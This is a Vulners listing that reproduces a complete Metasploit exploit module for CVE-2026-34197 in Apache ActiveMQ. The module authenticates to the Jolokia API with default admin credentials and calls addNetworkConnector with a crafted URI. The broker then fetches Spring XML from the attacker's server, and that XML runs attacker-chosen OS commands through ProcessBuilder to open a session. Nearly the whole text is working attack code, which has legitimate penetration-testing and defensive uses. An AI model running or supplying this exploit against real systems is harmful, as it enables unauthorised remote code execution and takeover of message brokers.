Lucene search
K

Apache ActiveMQ RCE via Jolokia addNetworkConnector

🗓️ 29 May 2026 19:02:34Reported by dinosn, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 229 Views

ActiveMQ Jolokia RCE using addNetworkConnector lets authenticated users execute OS commands via remote Spring XML.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
6 Jun 202612:39
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202614:36
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
8 May 202605:39
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202620:07
githubexploit
GithubExploit
Exploit for CVE-2026-34197
14 Apr 202620:44
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
4 Jul 202606:45
githubexploit
GithubExploit
Exploit for CVE-2026-34197
9 Apr 202609:44
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202603:30
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202609:18
githubexploit
GithubExploit
Exploit for CVE-2026-34197
10 Apr 202601:29
githubexploit
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',
        'Description' => %q{
          Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.
          An authenticated attacker can invoke the addNetworkConnector() MBean
          operation with a crafted URI that causes the broker to fetch a remote
          Spring XML configuration over HTTP. The Spring XML instantiates a
          ProcessBuilder bean that executes attacker-supplied OS commands.

          Default credentials (admin:admin) are accepted by many installations.

          Verified on docker image
        },
        'Author' => [
          'dinosn', # Discovery and PoC
          'h00die'  # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-34197'],
          ['URL', 'https://github.com/dinosn/CVE-2026-34197'],
          ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']
        ],
        'DisclosureDate' => '2026-04-29',
        'Platform' => %w[linux unix win],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Stance' => Stance::Aggressive,
        'Targets' => [
          ['Windows', { 'Platform' => 'win' }],
          ['Linux', { 'Platform' => %w[linux unix] }],
          ['Unix', { 'Platform' => 'unix' }]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'WfsDelay' => 30
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(8161),
      OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),
      OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),
      OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),
      OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    })

    return CheckCode::Unknown('No response from target') unless res
    return CheckCode::Unknown('Authentication failed (401) — check USERNAME/PASSWORD') if res.code == 401
    return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403
    return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200

    data = res.get_json_document
    return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?

    agent = data.dig('value', 'agent') || 'unknown'
    CheckCode::Appears("Jolokia accessible — agent version: #{agent}")
  end

  def on_request_uri(cli, request)
    vprint_status("#{request.method} #{request.uri}")

    case target['Platform']
    when 'win'
      shell = 'cmd.exe'
      flag = '/c'
    else
      shell = '/bin/sh'
      flag = '-c'
    end

    xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>#{shell}</value>
        <value>#{flag}</value>
        <value><![CDATA[#{payload.encoded}]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>)

    send_response(cli, xml, {
      'Content-Type' => 'application/xml',
      'Connection' => 'close',
      'Pragma' => 'no-cache'
    })
    print_good('Malicious Spring XML served — target will execute payload via ProcessBuilder')
  end

  def exploit
    start_service

    bname = detect_broker_name
    print_status("Using broker name: #{bname}")

    remove_network_connector(bname, 'NC')

    # static:(...) is the network connector discovery URI.
    # vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.
    # brokerConfig=xbean:http://... loads remote Spring XML config.
    malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"

    jolokia_body = {
      'type' => 'exec',
      'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",
      'operation' => 'addNetworkConnector(java.lang.String)',
      'arguments' => [malicious_uri]
    }.to_json

    print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")
    vprint_status("Malicious URI: #{malicious_uri}")

    # Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload
    # asynchronously, so the Jolokia POST often never returns a response.
    # We handle the session in the handler regardless.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'ctype' => 'application/json',
      'data' => jolokia_body,
      'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },
      'timeout' => 10
    })

    if res.nil?
      print_status('Jolokia POST timed out — broker is likely fetching Spring XML and executing payload')
    elsif res.code == 401
      fail_with(Failure::NoAccess, 'Authentication failed — check USERNAME/PASSWORD')
    elsif res.code != 200
      print_warning("Unexpected HTTP status: #{res.code} — continuing anyway")
    else
      result = res.get_json_document
      if result.empty?
        print_warning('Could not parse Jolokia response — continuing anyway')
      elsif result['status'] == 200
        print_good('Jolokia accepted the payload — waiting for target to fetch Spring XML...')
      else
        print_warning("Jolokia returned status #{result['status']}: #{result['error']}")
      end
    end

    handler
  end

  private

  def remove_network_connector(broker_name, connector_name)
    body = {
      'type' => 'exec',
      'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",
      'operation' => 'removeNetworkConnector(java.lang.String)',
      'arguments' => [connector_name]
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'ctype' => 'application/json',
      'data' => body,
      'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }
    })

    if res&.code == 200
      vprint_status("Removed existing '#{connector_name}' network connector")
    else
      vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) — continuing")
    end
  end

  def detect_broker_name
    return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    })

    if res&.code == 200
      data = res.get_json_document
      if !data.empty? && data['status'] == 200 && data['value']
        data['value'].each_key do |mbean|
          mbean.split(',').each do |part|
            next unless part.start_with?('brokerName=')

            name = part.split('=', 2).last
            vprint_status("Discovered broker name: #{name}")
            return name
          end
        end
      end
    end

    vprint_status("Could not discover broker name, using default 'localhost'")
    'localhost'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation